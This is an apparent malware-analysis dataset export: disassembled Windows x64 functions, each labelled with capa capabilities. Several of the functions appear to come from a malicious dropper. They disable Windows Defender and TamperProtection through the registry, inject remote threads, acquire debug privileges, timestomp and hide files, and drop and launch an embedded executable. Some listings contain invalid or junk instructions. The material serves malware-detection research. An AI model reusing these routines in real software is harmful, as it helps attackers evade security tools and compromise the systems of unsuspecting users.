joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180010af0
Capabilities:
Resume thread
Suspend thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, reloc.OLEAUT32.dll_VarI1FromDec
mov rax, qword [0x180058460]
xor rax, rsp
mov qword [rsp + 0x4f0], rax
mov ebp, r8d
mov rsi, rdx
mov r8d, ecx
mov ecx, reloc.OLEAUT32.dll_VarI1FromDec
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, reloc.OLEAUT32.dll_VarI1FromDec
ja reloc.OLEAUT32.dll_VarI1FromDec
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov rcx, rbx
cmp eax, reloc.OLEAUT32.dll_VarI1FromDec
je reloc.OLEAUT32.dll_VarI1FromDec
mov dword [rsp + 0x50], 0x100001
xor edi, edi
jmp reloc.OLEAUT32.dll_VarI1FromDec
cmp qword [rsp + 0x118], rsi
jb reloc.OLEAUT32.dll_VarI1FromDec
lea rax, [rsi + rbp]
cmp qword [rsp + 0x118], rax
jae reloc.OLEAUT32.dll_VarI1FromDec
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp edi, 3
jge reloc.OLEAUT32.dll_VarI1FromDec
mov ecx, VarCyFromR8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SuspendThread]
inc edi
mov rcx, rbx
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne reloc.OLEAUT32.dll_VarI1FromDec
jmp reloc.OLEAUT32.dll_VarI1FromDec
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
mov rax, rbx
mov rcx, qword [rsp + 0x4f0]
xor rcx, rsp
call fcn.180010f90
lea r11, [rsp + 0x500]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x180010d94
Capabilities:
Get system information on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
push r14
sub rsp, 0x80
xor edi, edi
cmp dword [0x180059d44], 0x40
jae reloc.OLEAUT32.dll_VarI1FromDec
lea rbx, [rcx + rdx]
add rcx, r8
mov rbp, reloc.OLEAUT32.dll_VarI1FromDec
lea rax, [rcx + 0x7ff80000]
cmp rcx, reloc.OLEAUT32.dll_VarI1FromDec
lea r8d, [rdi + 0x2c]
cmovb rbp, rax
and dword [rsp + 0x50], edi
lea rcx, [r11 - 0x34]
xor edx, edx
call fcn.180011930
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, reloc.OLEAUT32.dll_VarI1FromDec
lea rsi, [rbx - 0x7fff0000]
cmp rbx, rax
lea r14d, [rdi + 1]
cmovb rsi, r14
cmp rsi, rbp
jae reloc.OLEAUT32.dll_VarI1FromDec
lea rdx, [rsp + 0x20]
mov r8d, 0x30
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je reloc.OLEAUT32.dll_VarI1FromDec
cmp dword [rsp + 0x40], 0x10000
jne reloc.OLEAUT32.dll_VarI1FromDec
mov rax, qword [rsp + 0x38]
cmp rax, 0x78
jb reloc.OLEAUT32.dll_VarI1FromDec
mov edx, dword [rsp + 0x78]
mov ecx, edx
cmp rax, rdx
jb reloc.OLEAUT32.dll_VarI1FromDec
lea eax, [rdx - 1]
xor edx, edx
mov r8d, reloc.OLEAUT32.dll_VarI1FromDec
add rax, rsi
div rcx
mov edx, 0x78
lea r9d, [rdx - 0x58]
imul rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne reloc.OLEAUT32.dll_VarI1FromDec
mov rax, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x20]
add rsi, rax
cmp rsi, rbp
jb reloc.OLEAUT32.dll_VarI1FromDec
test rdi, rdi
je reloc.OLEAUT32.dll_VarI1FromDec
lea rdx, [0x180059da0]
xor eax, eax
mov rcx, rdx
cmp qword [rcx], 0
je reloc.OLEAUT32.dll_VarI1FromDec
add eax, r14d
add rcx, 8
cmp eax, 0x40
jb reloc.OLEAUT32.dll_VarI1FromDec
jmp reloc.OLEAUT32.dll_VarI1FromDec
add dword [0x180059d44], r14d
mov qword [rdx + rax*8], rdi
lea r11, [rsp + 0x80]
mov rax, rdi
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x14005fe6c
Capabilities:
Get hostname

Disassembly:
mov rax, rsp
mov dword [rax + 8], ecx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp - 0x40], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov rdi, rdx
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x20], xmm0
xor esi, esi
mov qword [rbp - 0x10], rsi
mov dword [rbp + 0x30], esi
lea r8, [rbp + 0x30]
xor edx, edx
lea ecx, [rsi + 3]
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
je 0x14005feb4
lea ebx, [rsi + 0xd]
jmp 0x14005ff1f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp eax, 0xea
jne 0x14005ff1f
mov word [rbp + 0x20], si
mov edx, dword [rbp + 0x30]
lea rax, [rbp - 0x20]
mov qword [rbp - 0x30], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x28], rax
movaps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
lea r8, [rbp - 0x30]
lea rcx, [rbp - 0x20]
call fcn.14003cffc
lea r8, [rbp + 0x30]
mov rdx, qword [rbp - 0x20]
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
jne 0x14005ff11
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x14005ff1f
mov rdx, qword [rbp - 0x20]
mov rcx, rdi
call fcn.1400033fc
mov ebx, esi
lea rcx, [rbp - 0x20]
call fcn.1400174fc
mov eax, ebx
mov rbx, qword [rsp + 0x88]
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret

Function at 0x140060260
Capabilities:
Access peb ldr_data

Disassembly:
push rcx
push r11
push r13
sub rcx, rcx
add rcx, 0x60
mov r11, qword gs:[rcx]
push r10
invalid
invalid

Function at 0x140060a48
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x1400bd0c0], eax
call fcn.140060cf8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1400bd0c0], 0
jne case.default.0x140060a9e
mov ecx, 1
call fcn.140060cf8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
sbb ch, ah
sbb dword [rcx + 0x2b294cb6], ecx
outsd dx, dword [rsi]
sub dword [rbp + 0x4e], edx
shl dh, 0x52
int3
Function at 0x1400010d0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
sub rsp, 0x128
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x110], rax
mov rax, qword [str.SYSTEMControlSet001ControlSession_ManagerPower]
lea rcx, [rsp + 0x40]
xor edx, edx
mov qword [rcx], rax
mov rax, qword [0x140003380]
mov r8d, 0x95
mov qword [rcx + 8], rax
mov rax, qword [0x140003388]
mov dword [rsp + 0x34], 4
mov qword [rcx + 0x10], rax
mov rax, qword [0x140003390]
mov dword [rsp + 0x30], 0
mov qword [rcx + 0x18], rax
mov rax, qword [0x140003398]
mov qword [rcx + 0x20], rax
mov rax, qword [0x1400033a0]
mov qword [rcx + 0x28], rax
movzx eax, word [0x1400033a8]
mov word [rcx + 0x30], ax
movzx eax, byte [0x1400033aa]
mov byte [rcx + 0x32], al
lea rcx, [rsp + 0x73]
call sub.MSVCR90.dll_memset
lea r11, [rsp + 0x38]
lea rdx, [rsp + 0x40]
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140001202
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x34]
lea rdx, str.HiberbootEnabled
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp dword [rsp + 0x30], 1
jne 0x1400011f7
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
lea rdx, str.HiberbootEnabled
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x110]
xor rcx, rsp
call fcn.1400026d0
add rsp, 0x128
ret
Function at 0x1400012c0
Capabilities:
Check os version
Create thread

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x1a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x190], rax
mov rdi, rcx
mov rbp, r8
mov rsi, rdx
lea rcx, [rsp + 0x70]
xor ebx, ebx
xor edx, edx
mov r8d, 0x114
mov qword [rsp + 0x60], rbx
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x70], 0x114
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [rsp + 0x74], 6
jb 0x14000137e
lea rcx, [0x140003350]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x1400033c8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000137a
mov qword [rsp + 0x50], rbx
mov dword [rsp + 0x48], ebx
mov dword [rsp + 0x40], ebx
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
lea rcx, [rsp + 0x60]
mov r9, rdi
xor r8d, r8d
mov edx, 0x1fffff
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rsi
call rax
mov rax, qword [rsp + 0x60]
test rax, rax
jne 0x1400013a7
xor eax, eax
jmp 0x1400013bb
mov qword [rsp + 0x30], rbx
mov r9, rsi
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x1400013bb
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
setne bl
mov eax, ebx
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.1400026d0
mov rbx, qword [rsp + 0x1d8]
add rsp, 0x1a0
pop rdi
pop rsi
pop rbp
ret

Function at 0x140001620
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x270
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x260], rax
movsxd rbx, dword [0x140005678]
xor edx, edx
mov dword [rsp + 0x20], 0x238
lea ecx, [rdx + 0xf]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001668
xor eax, eax
jmp 0x140001704
lea rdx, [rsp + 0x20]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x1400016f6
mov qword [rsp + 0x280], rdi
nop word [rax + rax]
mov edi, dword [rsp + 0x28]
lea rdx, [0x140003438]
lea rcx, [rsp + 0x4c]
call qword [sym.imp.MSVCR90.dll__wcsicmp]
test eax, eax
jne 0x1400016af
test rbx, rbx
je 0x1400016c2
lea rdx, [rsp + 0x20]
mov rcx, rsi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140001690
jmp 0x1400016ee
cmp dword [0x140005674], 0
je 0x1400016e0
call fcn.1400010d0
lea rdx, [0x140005680]
mov ecx, edi
call fcn.140001500
jmp 0x1400016ee
lea rdx, [0x140005680]
mov ecx, edi
call fcn.1400013e0
mov rdi, qword [rsp + 0x280]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1400026d0
mov rbx, qword [rsp + 0x288]
add rsp, 0x270
pop rsi
ret
Function at 0x140001730
Capabilities:
Get common file path

Disassembly:
push rdi
sub rsp, 0x20
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140005680]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov edx, dword [0x140005678]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [0x140005680]
lea r8, [0x140005680]
repne scasw ax, word [rdi]
mov eax, dword [0x140003410]
or rcx, 0xffffffffffffffff
mov dword [rdi - 2], eax
xor eax, eax
lea rdi, [0x140005680]
repne scasw ax, word [rdi]
mov rax, qword [str.SoAction64.dll]
lea rcx, [0x140003438]
mov qword [rdi - 2], rax
mov rax, qword [0x140003420]
mov qword [rdi + 6], rax
mov rax, qword [0x140003428]
mov qword [rdi + 0xe], rax
mov eax, dword [0x140003430]
mov dword [rdi + 0x16], eax
movzx eax, word [0x140003434]
mov word [rdi + 0x1a], ax
call fcn.140001620
xor eax, eax
add rsp, 0x20
pop rdi
ret

Function at 0x1400017e0
Capabilities:
Set file attributes
Timestomp file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x180
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x170], rax
xor esi, esi
xor r9d, r9d
mov edx, 0xc0000000
mov qword [rsp + 0x30], rsi
lea r8d, [rsi + 3]
mov dword [rsp + 0x28], 0x2000000
mov rbx, rcx
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001840
xor eax, eax
jmp 0x140001903
mov eax, 0x7da
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x48]
mov word [rsp + 0x48], ax
mov eax, 0xb
mov word [rsp + 0x4c], si
mov word [rsp + 0x4a], ax
mov eax, 0x15
mov word [rsp + 0x56], si
mov word [rsp + 0x4e], ax
mov eax, 0x12
mov word [rsp + 0x50], ax
mov eax, 7
mov word [rsp + 0x52], ax
mov eax, 5
mov word [rsp + 0x54], ax
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x40]
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x60]
xor edx, edx
mov r8d, 0x104
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x60]
sub rcx, rbx
nop
movzx eax, byte [rbx]
inc rbx
mov byte [rcx + rbx - 1], al
test al, al
jne 0x1400018e0
lea rcx, [rsp + 0x60]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, 1
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.1400026d0
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140001bc0
Capabilities:
Delete file
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x150
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov edi, ecx
mov rcx, rdx
mov rbx, rdx
xor ebp, ebp
call qword [sym.imp.MSVCR90.dll_remove]
cmp eax, 0xffffffff
jne 0x140001c04
call qword [sym.imp.MSVCR90.dll__errno]
cmp dword [rax], 0xd
jne 0x140001c04
xor eax, eax
jmp 0x140001ce9
xor eax, eax
xor ecx, ecx
mov qword [rsp + 0x148], r12
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x140], r13
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea r8, [0x1400034c0]
movzx edx, di
mov rcx, rax
mov r12, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
xor ecx, ecx
mov rdx, rax
mov r13, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
lea rdx, [rsp + 0x20]
mov rdi, rax
sub rdx, rbx
movzx ecx, byte [rbx]
inc rbx
mov byte [rdx + rbx - 1], cl
test cl, cl
jne 0x140001c51
test rax, rax
je 0x140001cd7
mov rcx, rax
mov qword [rsp + 0x180], rsi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
test rax, rax
je 0x140001cc6
lea rdx, [0x1400034c8]
lea rcx, [rsp + 0x20]
mov ebp, 1
call qword [sym.imp.MSVCR90.dll_fopen]
mov ecx, ebp
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, r13
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r9, rbx
mov rdx, rbp
movsxd r8, eax
mov rcx, rsi
call qword [sym.imp.MSVCR90.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.MSVCR90.dll_fclose]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rsi, qword [rsp + 0x180]
mov r13, qword [rsp + 0x140]
mov r12, qword [rsp + 0x148]
mov eax, ebp
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1400026d0
add rsp, 0x150
pop rdi
pop rbp
pop rbx
ret

Function at 0x140001d10
Capabilities:
Create process on windows
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
lea rdi, [0x140005890]
mov ecx, 0x104
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xor ecx, ecx
lea rbx, [0x1400059a0]
nop dword [rax + rax]
movzx eax, byte [rcx + rdi]
inc rcx
mov byte [rcx + rbx - 1], al
test al, al
jne 0x140001d40
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbx
repne scasb al, byte [rdi]
xor ecx, ecx
lea rdx, str.sc_mxz.exe
nop word [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x140001d70
xor r8d, r8d
mov rdx, rbx
lea ecx, [r8 + 0x6d]
call fcn.140001bc0
lea rdx, [0x1400034b8]
xor r9d, r9d
mov r8, rbx
xor ecx, ecx
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x140001dc0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x270
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor ebp, ebp
xor edx, edx
mov dword [rsp + 0x20], 0x238
lea ecx, [rbp + 0xf]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rdx, [rsp + 0x20]
mov rcx, rax
mov rbx, rax
call sub.KERNEL32.dll_Process32FirstW
nop dword [rax]
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rsp + 0x4c]
repne scasw ax, word [rdi]
not rcx
dec rcx
movsxd rdx, ecx
test ecx, ecx
jle 0x140001e52
nop dword [rax + rax]
movzx ecx, word [rsp + rax*2 + 0x4c]
cmp cx, 0x41
jb 0x140001e4a
cmp cx, 0x5f
ja 0x140001e4a
add cx, 0x20
mov word [rsp + rax*2 + 0x4c], cx
inc rax
cmp rax, rdx
jl 0x140001e30
lea rsi, [rsp + 0x4c]
lea rdi, str.dfserv.exe
mov ecx, 0xb
repe cmpsw word [rsi], word [rdi]
je 0x140001e7b
lea rdx, [rsp + 0x20]
mov rcx, rbx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140001e10
jmp 0x140001e80
mov ebp, 1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebp
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1400026d0
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x140001fa0
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
lea rax, [rsp + 0x50]
mov edi, ecx
lea rdx, [0x140003518]
xor ebx, ebx
mov r9d, 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x48], ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140002011
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x48]
lea r9d, [rbx + 4]
lea rdx, str.TamperProtection
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x48], edi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ebx, 1
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140002021
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x140002030
Capabilities:
Disable windows defender features via registry on windows
Set registry value

Disassembly:
sub rsp, 0x58
lea rax, [rsp + 0x70]
lea rdx, [0x140003560]
mov r9d, 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1400020a4
lea rax, [rsp + 0x68]
lea rdx, [0x140003560]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x38], rax
xor eax, eax
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], eax
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1400020d9
mov rcx, qword [rsp + 0x70]
lea rax, [rsp + 0x60]
lea rdx, [0x1400035a8]
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x60], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x1400020e9
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x58
ret
Function at 0x1400020f0
Capabilities:
Get common file path
Set registry value

Disassembly:
push rbx
sub rsp, 0x180
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x170], rax
lea rcx, [rsp + 0x61]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x60], 0
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x60]
xor ebx, ebx
mov edx, 0x104
mov dword [rsp + 0x54], 4
mov dword [rsp + 0x50], ebx
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea r11, [rsp + 0x58]
lea rdx, [0x1400035c8]
mov r9d, 0xf013f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1400021ae
lea rax, [rsp + 0x54]
lea rdx, [0x1400035c8]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x58]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1400021dd
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x50]
lea rdx, [rsp + 0x60]
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x50], ebx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x1400021ed
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.1400026d0
add rsp, 0x180
pop rbx
ret

Function at 0x140002210
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x68]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140002238
xor eax, eax
add rsp, 0x48
ret
lea r8, [rsp + 0x60]
lea rdx, [0x140003600]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x140002231
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x40], rbx
xor ebx, ebx
lea r8, [rsp + 0x30]
xor edx, edx
lea r9d, [rbx + 0x10]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x34], rax
mov dword [rsp + 0x3c], 2
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x14000229f
mov rbx, qword [rsp + 0x40]
add rsp, 0x48
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x514
setne bl
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x48
ret
Function at 0x140002a7b
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [section..data]
jne 0x1400026ea
rol rcx, 0x10
test cx, 0xffff
jne 0x1400026e6
repz ret
ror rcx, 0x10
jmp 0x1400029d4
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140005190]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x140005288]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140002a59
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140005190]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140002a7b
mov rax, qword [rsp + 0x88]
mov qword [0x140005288], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140005228], rax
mov rax, qword [0x140005288]
mov qword [0x140005100], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140005210], rax
mov dword [0x1400050f0], 0xc0000409
mov dword [0x1400050f4], 1
mov rax, qword [section..data]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140005008]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140005188], eax
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140003340]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140005188], 0
jne 0x140002b02
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret